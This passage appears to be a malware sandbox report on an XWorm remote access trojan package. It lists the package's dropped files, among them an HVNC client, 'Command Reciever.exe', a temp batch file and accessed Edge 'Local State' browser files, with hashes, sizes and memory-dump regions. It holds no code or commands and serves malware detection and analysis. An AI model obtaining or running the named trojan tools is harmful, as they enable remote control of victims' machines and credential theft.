
                                          MD5

                                          7e27c08065721af808c39786adbd9ae6

                                          SHA1

                                          e25327ebcf72b906c89916656765b32240ad4316

                                          SHA256

                                          750226f27c37892d0c1af09fc03a0428710874a5d8c4ef118cd4085d30c1a09b

                                          SHA512

                                          77b4f3f63a05b6861cfb545a45cda40c8662ebaa05a61feb204d5ffebc55d15914457b4cff3e0f72725465ba619bfa66988ebb4df6dea6a2676ea5254ad02541

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                          Filesize

                                          10KB

                                          MD5

                                          f2f4150e35d5e6a4441606134fa48122

                                          SHA1

                                          4ff49e11d5a996a026ef1fbc09d245c50ae46028

                                          SHA256

                                          51dd7ccb4b98de3dd14557c97cdfae450411f3d963800a54309b072cfccb9c72

                                          SHA512

                                          5c54f4e42cc2a5d5b7ee79dd827919738d38b65c7feddcd4e4528500dbced0060fca62896ddabcf47f5eda463685a68f92ca6336d48bb2ad1fa45bb5d792d078

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                          Filesize

                                          10KB

                                          MD5

                                          df31f43834c09ff299203dca1fceefc6

                                          SHA1

                                          a2e0f26d747649e9c53127d7e0852600b190f3a2

                                          SHA256

                                          4c33b4083ad860518789be23506e7b73e5756a74913ddf4cd93f8aed817894e3

                                          SHA512

                                          81fa9bf71f226dca63d62f76c0fc2b731522fb838020f1e8a8b2229d68c4dab658c1bc499db45a913d47f876b813727a91d1b17bc2d6754046d84800eef5837e

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
                                          Filesize

                                          14KB

                                          MD5

                                          1fa4ec85d120a66aa9b0f886376ebe79

                                          SHA1

                                          617734aad855a543504af2a51761c92d9599616d

                                          SHA256

                                          6afce3624e3a4bd316e206eff371d23a8226e282a0ff3bd4ea44bfc7d0122dea

                                          SHA512

                                          61bfad9200d5c5b9c9965581b8bc936d7ac787a8481cd883ec1e10401231979d0f293b36852d88979aca5a831064a25a3e49be7143dd9e8e6d431c5d529bef99

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Temp\1a5fdae6-8f46-4b8b-a738-d6572f690d43\AgileDotNetRT.dll
                                          Filesize

                                          94KB

                                          MD5

                                          14ff402962ad21b78ae0b4c43cd1f194

                                          SHA1

                                          f8a510eb26666e875a5bdd1cadad40602763ad72

                                          SHA256

                                          fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b

                                          SHA512

                                          daa7a08bf3709119a944bce28f6ebdd24e54a22b18cd9f86a87873e958df121a3881dcdd5e162f6b4e543238c7aef20f657c9830df01d4c79290f7c9a4fcc54b

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe
                                          Filesize

                                          5.6MB

                                          MD5

                                          b8703418e6c3d1ccd83b8d178ab9f4c9

                                          SHA1

                                          6fb0e1e0ee5bc745f52a1c29e3cf4b88a2298dd6

                                          SHA256

                                          d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e

                                          SHA512

                                          75ff6e911691e3d0d32c25d4b6d275a2b6157dae418ce5507f3e3f1b321c3f0dee516b7db0fd6588860019a19862f43c5335c465829de7a418a71999b71cfc3f

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe:Zone.Identifier
                                          Filesize

                                          84B

                                          MD5

                                          015d90a8ef614190f19de36b58d2f1d8

                                          SHA1

                                          d61cf66cd00c3742af94417ee5583f90c6b3bc46

                                          SHA256

                                          ba6ebb818e3d53f816b4357b32ef8b7bdaae661676e35da0b70fbe3acec4df2c

                                          SHA512

                                          346a70731751dd53c9e002fe5e79f768587a20078ac8d40e5bc173dc54276be75c0739890c60b29246ed3ecb60bbe7209c76386ae0c39f03637ea1f92bf3010f

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll
                                          Filesize

                                          1.7MB

                                          MD5

                                          65ccd6ecb99899083d43f7c24eb8f869

                                          SHA1

                                          27037a9470cc5ed177c0b6688495f3a51996a023

                                          SHA256

                                          aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

                                          SHA512

                                          533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

                                          Download Submit

                                        • C:\Users\Admin\AppData\Local\Temp\tmp6724.tmp.bat
                                          Filesize

                                          290B

                                          MD5

                                          258c09e5e275931ccb7a1463e82670cf

                                          SHA1

                                          420fc663077552d86ac34ef40ce8daf3c1ed98c3

                                          SHA256

                                          a144c6da37c1fb311a56b74342d89940860688ee4b0c01c7f194bf2197f058e8

                                          SHA512

                                          87a442b59f727fc357195ed22c978bbe98734125cb284495773a82e308df6ebd9800a4e0cb4e9f7f14eec28b59c329016b1ebc6ab1d7355dbc0fbe65af804ff2

                                          Download Submit

                                        • C:\Users\Admin\Downloads\XWorm-RAT-xworm.zip
                                          Filesize

                                          34.0MB

                                          MD5

                                          753c531a6bdbd3c76739cf65fd2b19e9

                                          SHA1

                                          5438634fadd98dc63a7ff35621f0c87c1751af1d

                                          SHA256

                                          83bde3ffc07740d721b36d9d92ab945b9e6c4216decf98c0ee06017223b010c2

                                          SHA512

                                          9f7caed8266b55c24ca8c14ec52040772c691c279a5a553191732c0ee962c3674765590ffa6b69986d8da0e3732ae672d8b15908c9c1d9484b3a560ff5650b70

                                          Download Submit

                                        • C:\Users\Admin\Downloads\XWorm-RAT-xworm.zip:Zone.Identifier
                                          Filesize

                                          26B

                                          MD5

                                          fbccf14d504b7b2dbcb5a5bda75bd93b

                                          SHA1

                                          d59fc84cdd5217c6cf74785703655f78da6b582b

                                          SHA256

                                          eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

                                          SHA512

                                          aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

                                          Download Submit

                                        • C:\Users\Admin\Downloads\XWorm-RAT-xworm\XWorm-RAT-xworm\XWorm RAT V2.1\XHVNC-Client.exe
                                          Filesize

                                          61KB

                                          MD5

                                          0dd7e5ee65cf5b3f0e19cca4c54b1c22

                                          SHA1

                                          846517e5d8150f2e3647fb07d51523d7265b02cb

                                          SHA256

                                          6eada25664cccfdbfde8d3b612164c1627f8f264d258dc0508a7b8c6e25df450

                                          SHA512

                                          82c85a212b7018a4deae108a2576086c2660226db99f3c6a5ce5ef2ccc014d2aec432b46120f17a34eb5eb27e8b61dd2591007f290afec7eb7a3eda872e5230a

                                          Download Submit

                                        • memory/1480-297-0x0000018C272F0000-0x0000018C27366000-memory.dmp

                                          Filesize

                                          472KB

                                          Download

                                        • memory/1480-291-0x0000018C24F80000-0x0000018C25520000-memory.dmp

                                          Filesize

                                          5.6MB

                                          Download

                                        • memory/1480-298-0x0000018C259E0000-0x0000018C259FE000-memory.dmp

                                          Filesize

                                          120KB

                                          Download

                                        • memory/2284-356-0x0000000000620000-0x000000000080A000-memory.dmp

                                          Filesize

                                          1.9MB

                                          Download

                                        • memory/2284-357-0x00000000062E0000-0x0000000006504000-memory.dmp

                                          Filesize

                                          2.1MB

                                          Download

                                        • memory/2284-371-0x000000000A150000-0x000000000A270000-memory.dmp

                                          Filesize

                                          1.1MB

                                          Download

                                        • memory/2284-365-0x0000000072E80000-0x0000000072F0A000-memory.dmp

                                          Filesize

                                          552KB

                                          Download

                                        • memory/2992-313-0x0000020C7B050000-0x0000020C7B0A0000-memory.dmp

                                          Filesize

                                          320KB

                                          Download

                                        • memory/2992-348-0x0000020C7B170000-0x0000020C7B194000-memory.dmp

                                          Filesize

                                          144KB

                                          Download

                                        • memory/2992-309-0x0000020C7AB50000-0x0000020C7AB5A000-memory.dmp

                                          Filesize

                                          40KB

                                          Download

                                        • memory/2992-314-0x0000020C7B0A0000-0x0000020C7B0C2000-memory.dmp

                                          Filesize

                                          136KB

                                          Download

                                        • memory/2992-316-0x0000020C7B110000-0x0000020C7B14A000-memory.dmp

                                          Filesize

                                          232KB

                                          Download

                                        • memory/2992-317-0x0000020C7AB20000-0x0000020C7AB46000-memory.dmp

                                          Filesize

                                          152KB

                                          Download

                                        • memory/2992-318-0x0000020C7BE30000-0x0000020C7C15E000-memory.dmp

                                          Filesize

                                          3.2MB

                                          Download

                                        • memory/2992-312-0x0000020C7AF50000-0x0000020C7B002000-memory.dmp

                                          Filesize

                                          712KB

                                          Download

                                        • memory/2992-340-0x0000020C7B150000-0x0000020C7B162000-memory.dmp

                                          Filesize

                                          72KB

                                          Download

                                        • memory/2992-310-0x0000020C7AEE0000-0x0000020C7AF4A000-memory.dmp

                                          Filesize

                                          424KB

                                          Download

                                        • memory/3068-254-0x0000000005130000-0x00000000051C2000-memory.dmp

                                          Filesize

                                          584KB

                                          Download

                                        • memory/3068-255-0x0000000005070000-0x000000000507A000-memory.dmp

                                          Filesize

                                          40KB

                                          Download

                                        • memory/3068-247-0x0000000005090000-0x000000000512C000-memory.dmp

                                          Filesize

                                          624KB

                                          Download

                                        • memory/3068-243-0x0000000000070000-0x0000000000702000-memory.dmp

                                          Filesize

                                          6.6MB

                                          Download

                                        • memory/3068-257-0x00000000084D0000-0x0000000008536000-memory.dmp

                                          Filesize

                                          408KB

                                          Download

                                        • memory/3068-256-0x0000000005330000-0x0000000005386000-memory.dmp

                                          Filesize

                                          344KB

                                          Download

                                        • memory/3616-375-0x0000000000970000-0x0000000000986000-memory.dmp

                                          Filesize

                                          88KB

                                          Download

                                        • memory/4640-376-0x0000000000400000-0x0000000000416000-memory.dmp

                                          Filesize

                                          88KB

                                          Download

                                        • memory/4684-232-0x0000000000DD0000-0x0000000001012000-memory.dmp

                                          Filesize

                                          2.3MB

                                          Download

                                        • memory/4684-233-0x0000000006070000-0x0000000006616000-memory.dmp

                                          Filesize

                                          5.6MB

                                          Download